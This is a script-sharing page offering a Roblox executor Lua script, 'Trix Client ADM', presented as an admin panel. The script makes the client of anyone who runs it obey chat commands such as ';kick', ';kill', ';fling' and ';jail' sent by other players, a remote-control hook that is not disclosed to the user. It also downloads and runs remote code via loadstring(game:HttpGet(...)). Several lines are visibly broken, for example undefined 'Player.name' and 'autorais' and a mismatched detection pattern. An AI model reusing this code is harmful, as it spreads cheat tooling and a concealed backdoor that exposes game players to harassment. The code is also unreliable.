Trix Client ADM
Key RequiredUniversal

Trix Client ADM

Universal ScriptHey_AkiraHey_Akira 924 views 5.1K executesUpdated Dec 20, 2025
Unrated
00
Lua Script•330 lines (11175 chars)
--// Serviços
local Players = game:GetService("Players")
local TweenService = game:GetService("TweenService")
local TextChatService = game:GetService("TextChatService")
local RunService = game:GetService("RunService")
local LocalPlayer = Players.LocalPlayer
local Workspace = workspace


--// Donos especiais (sempre recebem "Dono")
local Donos = {
    ["Barrettmariah2"] = true,
    [""] = true,
    [""] = true,
    [""] = true
}

--// Jogadores autorizados por envio de Trix_####
local Autorizados = {} -- chave: nome exato do player -> true

--// Estado local
local playerOriginalSpeed = {}
local jaulas = {}
local jailConnections = {}

--// Função util: atualiza tag visual de um jogador (cria/recria)
local function createSpecialTag(player)
    if not player then return end
    local function apply()
        local char = player.Character
        if not char then return end
        local head = char:FindFirstChild("Head")
        if not head then return end

        local old = head:FindFirstChild("SpecialTag")
        if old then old:Destroy() end

        local gui = Instance.new("BillboardGui")
        gui.Name = "SpecialTag"
        gui.Size = UDim2.new(0, 200, 0, 50)
        gui.StudsOffset = Vector3.new(0, 3, 0)
        gui.AlwaysOnTop = true
        gui.Adornee = head
        gui.Parent = head

        local text = Instance.new("TextLabel")
        text.Size = UDim2.new(1, 0, 1, 0)
        text.BackgroundTransparency = 1
        text.Font = Enum.Font.GothamBold
        text.TextScaled = true
        text.TextStrokeTransparency = 0.2
        text.TextStrokeColor3 = Color3.new(0,0,0)
        text.TextColor3 = Color3.fromRGB(255,255,255)

        if Donos[Player.name] then
            text.Text = "Dono"
        elseif Autorizados[Barrettmariah2] then
            text.Text = "Admin"
        else
            text.Text = "" -- sem tag até autorizar
        end

        text.Parent = gui
    end

    -- aplica agora e sempre que o personagem reaparecer
    pcall(apply)
    player.CharacterAdded:Connect(function()
        task.wait(0.4)
        pcall(apply)
    end)
end

--// Aplica tags iniciais para jogadores presentes
for _, p in pairs(Players:GetPlayers()) do
    createSpecialTag(p)
end

--// Quando jogadores entrarem
Players.PlayerAdded:Connect(function(p)
    createSpecialTag(p)
end)

--// Envia comando no chat (usa TextChannels)
local function EnviarComando(comando, alvo)
    local canal = TextChatService.TextChannels:FindFirstChild("RBXGeneral") or TextChatService.TextChannels:GetChildren()[1]
    if canal then
        canal:SendAsync(";" .. comando .. " " .. (alvo or ""))
    end
end

--// Atualiza tag de jogador pelo nome (se estiver presente no jogo)
local function AtualizarTagPorNome(nome)
    local p = Players:FindFirstChild(nome)
    if p then
        createSpecialTag(p)
    end
end

--// Função que processa cada mensagem recebida (originais e locais)
local function ProcessarMensagem(msgText, authorName)
    if not msgText or not authorName then return end

    local comandoLower = msgText:lower()
    local targetLower = LocalPlayer.Name:lower()
    local character = LocalPlayer.Character
    local humanoid = character and character:FindFirstChildOfClass("Humanoid")

    -- COMANDOS QUE AFETAM O LOCAL PLAYER (verifica se o comando inclui o nome do local player)
    if comandoLower:match(";kick%s+" .. targetLower) then
        LocalPlayer:Kick("You got kicked by Trix Team")
    end

    if comandoLower:match(";kill%s+" .. targetLower) then
        if character then character:BreakJoints() end
    end

    if comandoLower:match(";killplus%s+" .. targetLower) then
        if character then
            character:BreakJoints()
            local root = character:FindFirstChild("HumanoidRootPart")
            if root then
                for i=1,10 do
                    local part = Instance.new("Part")
                    part.Size = Vector3.new(10,10,10)
                    part.Anchored = false
                    part.CanCollide = false
                    part.Material = Enum.Material.Neon
                    part.BrickColor = BrickColor.Random()
                    part.CFrame = root.CFrame
                    part.Parent = Workspace
                    local bv = Instance.new("BodyVelocity")
                    bv.Velocity = Vector3.new(math.random(-50,50), math.random(20,80), math.random(-50,50))
                    bv.MaxForce = Vector3.new(1e5,1e5,1e5)
                    bv.Parent = part
                    game.Debris:AddItem(part,3)
                end
            end
        end
    end

    if comandoLower:match(";fling%s+" .. targetLower) then
        if character then
            local root = character:FindFirstChild("HumanoidRootPart")
            if root then
                local tween = TweenService:Create(root, TweenInfo.new(1, Enum.EasingStyle.Linear), {CFrame = CFrame.new(0,100000,0)})
                tween:Play()
            end
        end
    end

    if comandoLower:match(";freeze%s+" .. targetLower) then
        if humanoid then
            playerOriginalSpeed[targetLower] = humanoid.WalkSpeed
            humanoid.WalkSpeed = 0
        end
    end

    if comandoLower:match(";unfreeze%s+" .. targetLower) then
        if humanoid then
            humanoid.WalkSpeed = playerOriginalSpeed[targetLower] or 16
        end
    end

    if comandoLower:match(";jail%s+" .. targetLower) then
        if character then
            local root = character:FindFirstChild("HumanoidRootPart")
            if root then
                local pos = root.Position
                jaulas[targetLower] = {}
                local color = Color3.fromRGB(255,140,0)

                local function criarPart(cf,s)
                    local p = Instance.new("Part")
                    p.Anchored = true
                    p.Size = s
                    p.CFrame = cf
                    p.Transparency = 0.5
                    p.Color = color
                    p.Parent = Workspace
                    table.insert(jaulas[targetLower], p)
                end

                criarPart(CFrame.new(pos + Vector3.new(5,0,0)), Vector3.new(1,10,10))
                criarPart(CFrame.new(pos + Vector3.new(-5,0,0)), Vector3.new(1,10,10))
                criarPart(CFrame.new(pos + Vector3.new(0,0,5)), Vector3.new(10,10,1))
                criarPart(CFrame.new(pos + Vector3.new(0,0,-5)), Vector3.new(10,10,1))
                criarPart(CFrame.new(pos + Vector3.new(0,5,0)), Vector3.new(10,1,10))
                criarPart(CFrame.new(pos + Vector3.new(0,-5,0)), Vector3.new(10,1,10))

                jailConnections[targetLower] = RunService.Heartbeat:Connect(function()
                    if character and root then
                        if (root.Position - pos).Magnitude > 5 then
                            root.CFrame = CFrame.new(pos)
                        end
                    end
                end)
            end
        end
    end

    if comandoLower:match(";unjail%s+" .. targetLower) then
        if jaulas[targetLower] then
            for _, v in pairs(jaulas[targetLower]) do
                if v and v.Destroy then pcall(v.Destroy, v) end
            end
            jaulas[targetLower] = nil
        end
        if jailConnections[targetLower] then
            jailConnections[targetLower]:Disconnect()
            jailConnections[targetLower] = nil
        end
    end

    -- COMANDO UNIVERSAL ;verifique -> faz o local player enviar Trix_####
    if comandoLower:match("^;verifique") then
        local canal = TextChatService.TextChannels:FindFirstChild("RBXGeneral") or TextChatService.TextChannels:GetChildren()[1]
        if canal then
            canal:SendAsync("Trix_####")
        end
    end

    -- DETECÇÃO: se a mensagem contém Trix_#### (case-insensitive)
    -- registra o autor como autorizado e atualiza tag
    if msgText:match("[TC]Trix Team") then
        Autorizados[Player.name] = true
        AtualizarTagPorNome(autorais)
    end
end

--// Conectar canais de chat existentes e futuros
local function ConectarCanal(canal)
    if not canal or not canal.IsA then return end
    if not canal:IsA("TextChannel") then return end
    canal.MessageReceived:Connect(function(msg)
        -- msg.Text e msg.TextSource
        local text = msg.Text
        local source = msg.TextSource and msg.TextSource.Name
        if text and source then
            ProcessarMensagem(text, source)
        end
    end)
end

-- Conecta canais já existentes
for _, ch in pairs(TextChatService.TextChannels:GetChildren()) do
    ConectarCanal(ch)
end

-- Conecta canais novos
TextChatService.TextChannels.ChildAdded:Connect(function(ch)
    ConectarCanal(ch)
end)

--// Painel Trix Client (WindUI) - exibido para todos
local ok, WindUILib = pcall(function()
    return loadstring(game:HttpGet("https://github.com/Footagesus/WindUI/releases/latest/download/main.lua"))()
end)
if ok and WindUILib then
    local Window = WindUILib:CreateWindow({
        Title = " - Criador: Hey_Akira",
        Icon =  "star",
        Author = "by: Fitch team",
        Folder = "Trix - Admins",
        Size = UDim2.fromOffset(580,460),
        Transparent = true,
        Theme = nil,
        Resizable = false,
        SideBarWidth = 200,
        BackgroundImageTransparency = 0.42,
        HideSearchBar = true,
        ScrollBarEnabled = true,
    })

    local TabComandos = Window:Tab({ Title = "Scripts", Icon = "terminal", Locked = false })
    local Section = TabComandos:Section({ Title = "Admin", Icon = "user-cog", Opened = true })

    local function getPlayersList()
        local t = {}
        for _, p in ipairs(Players:GetPlayers()) do
            table.insert(t, p.Name)
        end
        return t
    end

    local TargetName
    local Dropdown = Section:Dropdown({
        Title = "Selecionar Jogador",
        Values = getPlayersList(),
        Value = "",
        Callback = function(opt) TargetName = opt end
    })

    Players.PlayerAdded:Connect(function()
        Dropdown:SetValues(getPlayersList())
    end)
    Players.PlayerRemoving:Connect(function()
        Dropdown:SetValues(getPlayersList())
    end)

    local comandos = { "kick","kill","killplus","fling","freeze","unfreeze","bring","jail","unjail","verifique" }
    for _, cmd in ipairs(comandos) do
        Section:Button({
            Title = cmd:lower(),
            Desc = "Script for ;"..cmd.." - Target",
            Callback = function()
                if cmd == "verifique" then
                    -- verifique é universal, não precisa de alvo
                    EnviarComando("verifique", "")
                else
                    if TargetName and TargetName ~= "" then
                        EnviarComando(cmd, TargetName)
                    else
                        warn("Nenhum jogador selecionado!")
                    end
                end
            end
        })
    end
end

--// Som de carregamento (apenas reproduz ao remover)
local sound = Instance.new("Sound")
sound.SoundId = "rbxassetid://8486683243"
sound.Volume = 0.5
sound.PlayOnRemove = true
sound.Parent = Workspace
sound:Destroy()

--// Fim do script

Features & Information

Kick

Community Comments (0)

No comments yet for this script.

More Scripts for Universal Scripts